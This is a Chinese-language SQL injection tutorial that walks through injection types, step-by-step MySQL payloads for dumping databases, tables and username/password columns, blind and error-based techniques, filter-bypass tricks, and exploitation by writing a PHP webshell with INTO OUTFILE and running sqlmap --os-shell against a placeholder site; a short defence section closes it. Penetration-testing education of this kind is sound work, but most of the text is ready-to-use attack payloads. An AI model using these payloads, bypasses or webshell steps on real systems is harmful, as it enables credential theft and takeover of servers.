挖漏洞之SQL注入
(一)漏洞原理
1、 漏洞原理
SQL注入的原理是,是应用系统没有对传递的参数进行过滤,让参数直接拼接到SQL语句中,攻击通过对参数进行篡改,当参数传递到数据库中,逻辑上就会发生变化,就产生新SQL语句,造成一些不好后果
2、案例讲解
假如某业务查询功能,一般实现过程是:后端接受参数,带入查询语句中,再把查询内容返回前端,这是语句的实现:
$userID = $_POST['userID'];
$sql = "SELECT * FROM users WHERE userID = '$userID';
攻击者通过拦截到userID参数,对其植入恶意代码:userID = ' OR 1 = 1 --+
最终SQL语句变成:
SELECT * FROM users WHERE userID = ' ' OR 1 = 1 --+
这条 SQL 语句查询出了
users
表中的所有数据,因为OR 1=1
永远为真。攻击者可以进一步利用这个漏洞来获取更多的数据或执行其他操作,甚至删除数据表
所以,我认为SQL漏洞的本质,就是想进方法向参数中注入恶意代码,当参数传递到数据库中,SQL语句就发生了变化,执行之后就会产生SQL注入漏洞。
(二)漏洞分类
1、按照请求类型分类:
- GET型:通过修改URL中的参数值来注入恶意SQL语句。
- POST型:通过修改POST请求中的参数值来注入恶意SQL语句
- Cookie注入型:在请求头的Cookie参数中注入恶意的SQL语句,
2、按照字符类型分类:
- 数字型:攻击者试图将SQL代码注入到数字型的数据字段中。通常在后面加入测试语句:and 1=1
- 字符型:将SQL代码注入到字符型的数据字段中,通常在后面加入测试语句:’or 1=1
3、按照测试方法测试:
- 报错:这是基于应用程序在处理错误时返回详细信息的漏洞,通过构造恶意的SQL语句来触发应用程序产生错误,并从错误信息中获取敏感数据或执行其他恶意操作,
- 延时:这是一种利用在响应时间上的差异来判断漏洞的攻击方法,通过构造恶意的SQL语句,利用数据库管理系统的延时函数来判断查询是否成功执行,并据此推测SQL注入漏洞的存在,利用sleep()或benchmark()等函数让mysql执行时间变长
- 盲注型:攻击者无法直接从响应中获取有关注入结果的详细信息,然后通过构造特定的SQL语句,利用在不同条件下的响应差异来推断查询的结果,常用构建盲注函数:substr()、Left()、ORD()
- 布尔型:在响应中的布尔条件语句的结果来判断查询是否成功执行的一种攻击方法。通过构造恶意的SQL语句并观察应用程序的响应,来推断SQL查询的结果,结果根据false和true不返回数据库数据
(三)基本测试方法
1、SQL注入常出现位置:
只要需要带入到数据库中的参数有可能存在SQL注入,常见位置如下:
用户输入表单:用户可以通过网站的表单(如搜索框、注册表单、登录表单等)提交数据给服务器
- URL参数:URL参数是传递给应用程序的一种常见方式,产生url参数有两个来源,一是get请求会生成url参数,还有一个是隐藏的参数,网站使用隐藏字段来存储数据,这些字段可以在表单提交时自动包含在请求中。
- Cookies:cookies本身不会发生sql注入,可能会引发sql注入是因为,cookie是网络中识别用户身份的特殊文本,当开发人员在使用Cookie中存储的数据时,如果未进行适当的数据验证和处理,从而直接将Cookie数据用于SQL查询,就可能导致SQL注入漏洞的发生
- HTTP头信息:攻击者通过修改HTTP请求的头部信息中的值来注入恶意的SQL语句(UserAgent、Referer,等),这些自动生成并发送给服务器的头信息,本身不会导致sql注入,在某些情况下,攻击者可能会尝试使用特殊字符来触发应用程序中的漏洞,
2、基本测试过程如下:
第一步,找注入点:在参数后面加入单引号等特殊字符,查看是否引起报错,或是修改参数的值,观察对输入是否过滤和转义
第二步,找回显点,没有回显,测试盲注和延时。前面尝试通过加入特殊字符或者修改值引起报错,如果有报错信息就测试抱错型SQL注入,没有则测试盲注和延时注入
第三步,写poc,根据测试结果编写利用该漏洞的 POC,常见的通用payload如下(基于MySQL):
爆破数据库:group_concat(schema_name) from information_schema.schemata
爆破数据表:group_concat(table_name) from information_schema.columns where table_schema=database()
爆破字段:group_concat(column_name) from information_schema.columns where table_name='表名'
爆破字段内容:group_concat(username,0x7e,password) from 表名
3、报错型SQL注入:
第一步,查找引起报错的特殊字符,一般是单引号或者双引号: ?id=1' 或 ?id=1"
第二步,判断字段个数:?id=1' and 1=1 order by N --+ N从1开始测试,出现报错的时候说明有N-1个
第三步,找回显点:返回报错信息的地方,就是回显点,但有时候没有,那就需要自己寻找,常见方法: union select 1,2,3...N--+ 其中N是字段个数
第四步:找注入点, ?id= -1' union select 1,2,3--+ 中 2,3都是注入点
第五步:爆破数据库: ?id= -1' union select 1,2,database()--+ 找到注入点之后,就是把上面的payload换到注入点中,下面6,7,8步骤也一样的第六步:爆破数据表:?id= -1' union select 1,2,(group_concat(table_name) from information_schema.columns where table_schema=database())--+
第七步:爆破字段:?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='数据表' --+
第八步:爆破字段内容:?id=-1' union select 1,2, group_concat(username,0x7e,password) from 数据表 --+
4、盲注型SQL注入
当没有特殊符号没有回显的时候,就测试盲注,盲注可以分为布尔盲注和延时盲注,
- 布尔盲注是,语句中采用了if语句判断,条件为真则回显内容,接着布尔环境下,来判断是否执行,成功执行,就是存在SQL注入漏洞
- 延时盲注是,借助延时函数,来判断是否执行,如果延时执行,则说明存在SQL注入
区别是就是注入点构造不同
1、布尔盲注
?id=1' 成功执行,内容消失,
?id=1' and 1=1 --+ 成功执行,内容显示?id=1' and 1=2 --+ 成功执行,内容消失
第一步:找注入点:经过测试找到:?id=1' or 1=1 其中1=1就是注入点,表达式为true
第二步:判断数据库长度:?id=1' or length(database())=8 --+ 如果数据库长度为8 条件就为true,就会显示内容,从1开始慢慢测试,database()是查询当前数据库,换成查询数据表,则可以判断数据表长度
第三步:爆破数据库:
猜测第一个字母:?id=1' or ascii(substr(database(),1,1))= 115--+ //115是s的ascii编号
猜测第二个字母:?id=1' or ascii(substr(database(),2,1))
第四步:猜测数据表长度:?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>6 --+
limit 0,1表示第一个表
limit 1,1表示第二个表第五步:爆破数据表:和猜测数据库一样
?id=1' or ascii(substr(((select table_name from information_schema.tables where table_schema=database() limit 0,1)),1,1))= 115
第六步:爆破字段长度:
第七步:爆破字段内容:
2、延时盲注
?id=1' 正常响应
?id=1' and sleep(5) --+ 明显延长5秒中显示第一步:爆破数据库长度:?id=1' and if(length(database())=8,sleep(5),0)
第二步:爆破数据库:?id=1' and if(ascii(mid(database(),1,1))<=135,sleep(5),0) --+ 从第一个字母爆破开始,逐渐爆破
第三步:爆破数据表长度
第四步:爆破数据表
第五步:爆破字段个数
第六步:爆破字段
盲注需要用到的函数:extractvalue()、updatexml()、floor()1、extractvalue()函数:用于从 XML 类型的数据中提取指定节点的值
extractvalue(xml_document, xpath_expression)
爆破数据库:?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段爆破数据表:?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e)) --+
2、updatexml()函数:用于在 XML 类型的数据中更新或插入某个节点
updatexml(xml_document, xpath_expression, new_value)
爆破数据库:?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
database()是注入点,只需要把查询更换就可以查询数据表或字段爆破数据表:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e),1) --+
3、foolr函数()
爆破数据库:?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
database()是注入点,只需要把查询更换就可以查询数据表或字段爆破数据表:?id=-1' union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.columns where table_schema=database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x --+
5、HTTP头注入
HTTP 头部注入攻击和 SQL 注入攻击是其实两个不同的概念,但是有时候,HTTP 头部注入攻击有时候会直接导致 SQL 注入攻击,这是因为系统需要接受这些头部参数,来是识别一些信息,然后又没有做合适的过滤,导致攻击者可以在http头部参数注入恶意代码,最终导致sql注入
常见的HTTP头部注入:
- UA 注入: User-Agent 头中引起sql注入
- Host 注入:Host中引起sql注入
- Referer 注入:Referer 头引起sql注入
- XFF注入:在X-Forwarded-For头引起sql注入
- cookie注入,在cookie的引起sql注入
此外,其他一些HTTP头都有可能存在SQL注入,
6、堆叠注入
第一步判断堆叠注入:直接在sql语句中,加上分号,在写一个sql语句,看是否成功执行
第二步:直接查询,像上面一样,先查询数据库,其次数据表,字段,字段内容
7、宽字节注入
第一步判断宽字节注入:在参数后加入%df等,查看是否成功执行,比如引发报错,等
第二步:和上面一样,先查询数据库,其次数据表,字段,字段内容
8、二次注入
二次注入:已存储(数据库、文件)的用户输入被读取后,再次进入到 SQL 查询语句中导致的注入
(四)进阶测试方法
进阶测试方法是,目标网站有防御措施的情况下,进行测试的方法
1、针对过滤的绕过方法
- 过滤空格:注释符/**/绕过、编码(url、ascii)绕过、浮点数绕过、Tab替代空格、两个空格替代一个空格、括号绕过、Emoji绕过、回车代替空格,--%0a代替空格
- 过滤引号:使用16进制绕过
- 过滤逗号:from关键字绕过、join关键字绕过、like关键字绕过、offset关键字绕过,substr(),mid(),limit函数绕过
- 过滤注释符(# --):手动闭合引号,不使用注释符
- 过滤比较符号 ( < 和 > ):使用greatest()、least()函数绕过、使用between and绕过
- 过滤等号( = ):使用like 、rlike 、regexp过滤、 使用<或>过滤
- 过滤or and xor not:使用符号代替(and=`&&` or=`||` xor=`|` not=`!`)
- 过滤union,select,where等关键字:使用注释符绕过、使用大小写绕过、使用内联注释绕过、双关键字绕过、加号+拆解字符串绕过、语法新特性绕过屏蔽、分割关键字绕过、编码绕过
2、针对次数限制的绕过方法:
延时注入:设置延时时间
(五)利用方式
获取后台数据库中存放的目标的隐私信息,并进一步利用这些信息渗透拓展;
对目标网站挂马,进一步有针对性地开展钓鱼攻击;
获取后台应用系统的控制权限,进一步控制后台服务器
方式一:通过SQL注入写入文件获取webshellSELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/webshell.php' 将恶意代码写入webshell文件。 攻击者可以通过访问webshell文件并提供系统命令参数来控制服务器 指定目标服务器上可访问的路径和文件名,确保写入的webshell文件能够被访问到
方式二:通过这个SQLMAP的这个 --os-cmd这种参数来进行webshll
sqlmap -u "http://target.com/vuln.php?id=1" --os-cmd="ls -la > /var/www/html/webshell.txt" 使用–os-cmd参数执行操作系统命令并将结果输出到webshell文件 在注入成功后,可以通过浏览器或其他工具访问webshell文件,获取对服务器的控制权
方式三:就是--os-shell的方式来进行写webshell
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell 使用–os-shell参数与目标服务器建立交互式的shell连接 成功建立shell连接后,可以执行各种命令、浏览目录、上传和下载文件等操作,从而控制服务器
(六)防御方法
参数化查询接口,因为参数化的一个查询接口的话 他可以做到参数的一个过滤和执行重用 可以保障这个SQL语句的语义不改变,保持一个原始的一个查询意思,简单的说, 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 所以就算在参数中写入了一些恶意的指令 SQL服务器她也不会去执行这个指令的
对所有的用户输入进行严格的验证和过滤,对关键字或者特殊字符,确保输入数据符合预期的格式和类型(关键字:and、or、select、declare、update、xp_cmdshell,特殊字符:’、”、;)
配置额外的配置,避免打印SQL的一些错误消息出来
限制数据库用户的权限,确保数据库用户只能执行必要的操作,并限制其对数据库结构的访问权限